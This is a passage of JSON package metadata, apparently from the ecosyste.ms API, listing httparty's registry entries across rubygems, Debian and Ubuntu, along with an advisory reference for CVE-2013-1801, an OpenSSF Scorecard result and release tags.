CVE-2013-0156.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2017-10-24T18:33:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2013-1801","https://github.com/jnunemaker/httparty/commit/53a812426dd32108d6cba4272b493aa03bc8c031","https://bugzilla.redhat.com/show_bug.cgi?id=917229","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2013-1801.yml","https://support.cloud.engineyard.com/entries/22915701-january-14-2013-security-vulnerabilities-httparty-extlib-crack-nori-update-these-gems-immediately","https://web.archive.org/web/20200229101716/http://www.securityfocus.com/bid/58260","https://github.com/advisories/GHSA-mgx3-27hr-mfgp"],"source_kind":"github","identifiers":["GHSA-mgx3-27hr-mfgp","CVE-2013-1801"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2022-12-21T16:13:38.420Z","updated_at":"2026-04-05T20:08:16.796Z","epss_percentage":0.02991,"epss_percentile":0.86504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003c= 0.9.0"}],"purl":"pkg:gem/httparty"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/httparty","docker_dependents_count":482,"docker_downloads_count":652487330,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/httparty/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-03-30T22:02:54.843Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/httparty/codemeta","maintainers":[{"uuid":"604","login":"jnunemaker","name":null,"email":null,"url":null,"packages_count":67,"html_url":"https://rubygems.org/profiles/jnunemaker","role":null,"created_at":"2022-11-09T09:35:33.810Z","updated_at":"2022-11-09T09:35:33.810Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/jnunemaker/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":205536,"maintainers_count":68468,"namespaces_count":0,"keywords_count":0,"github":"rubygems","metadata":{"funded_packages_count":7260},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-04-03T06:42:17.024Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}},{"id":13566567,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-11T06:41:23.095Z","latest_release_published_at":"2026-02-11T06:41:23.095Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-11T15:28:35.707Z","created_at":"2026-02-11T06:41:22.879Z","updated_at":"2026-03-11T15:28:35.707Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:19:08.533Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-04-27T18:20:38.741Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13712562,"name":"ruby-httparty","ecosystem":"debian","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T23:32:27.384Z","latest_release_published_at":"2026-02-12T23:32:27.384Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-13T03:28:09.749Z","created_at":"2026-02-12T23:32:27.153Z","updated_at":"2026-03-13T03:30:40.483Z","registry_url":"https://tracker.debian.org/pkg/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":"https://packages.debian.org/bookworm/ruby-httparty","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T23:32:27.929Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-httparty?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"debian","metadata":{"codename":"bookworm"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-04-27T18:20:38.992Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":13466811,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-09T16:43:48.331Z","latest_release_published_at":"2026-02-09T16:43:48.331Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-09T17:06:33.982Z","created_at":"2026-02-09T16:43:47.989Z","updated_at":"2026-03-09T17:32:07.086Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:19:08.547Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-04-27T18:20:37.303Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":332629,"name":"yoyle439587298","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"http://jnunemaker.github.com/httparty","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2014-03-11T00:10:34.675Z","latest_release_published_at":"2014-03-11T00:10:34.675Z","latest_release_number":"0.13.0","last_synced_at":"2026-04-27T18:02:31.844Z","created_at":"2022-04-06T12:33:57.276Z","updated_at":"2026-04-27T18:03:04.820Z","registry_url":"https://rubygems.org/gems/yoyle439587298","install_command":"gem install yoyle439587298 -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/yoyle439587298/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91c